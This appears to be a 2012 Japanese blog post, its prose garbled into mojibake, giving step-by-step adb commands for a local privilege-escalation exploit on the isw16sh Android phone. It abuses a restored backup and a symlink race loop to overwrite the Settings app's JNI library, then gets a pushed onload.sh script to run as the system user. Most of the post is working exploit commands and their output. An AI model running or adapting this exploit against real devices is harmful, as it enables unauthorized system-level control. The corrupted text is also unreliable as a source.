goroh_kun
2012/08/02

isw16shłsystem擾

邱

(1) adb restore isw16sh.ab
(2) ʂɔF؂ôOK
(3) XgAIɈȉ̂Ƃł̂mF
>adb shell

$cd /data/data/com.android.settings/a/
$ls -l -d
    drwxrwxrwx system system a
    aƂfBNg݂Aworld readable, writableɂȂĂ
$ls -l
    file00 ` file99܂ł̃t@C݂

(4) xfile00 ` file99܂ō폜
>adb shell

$cd /data/data/com.android.settings/
$rm a/file*

(5) jniCu
(4)̑
$while : ; do ln -s /data/data/com.android.settings/lib/libsdservice_jni.so a/file99; done

sȂAʂ̃R}hC
adb restore isw16sh.ab
sAXgA
ÍAadb shellI

(6) jniCȕmF
>adb shell

$cd /data/data/com.android.settings/
$ls -l lib
    -rw-rw-rw system system libsdservice_jni.so
    libsdservice_jni.sô݂mF

(7)system̃vOs
VFXNvgonload.sh/data/local/tmpɂĂ
e͊mFΉĂ邩킩Ǝv܂

adb push onload.sh /data/local/tmp/onload.sh

(8)ݒAvNAXg[W̐ݒASDJ[h̃}EgI(sh-01dƓ)
@_CAOoĂIB(jniCu{łȂ̂)

(9)systemonload.sh삵ƂmF
    /data/cachẽp[~bVςĂ܂

>adb shell
$ls -l /data
$ls -l /cache













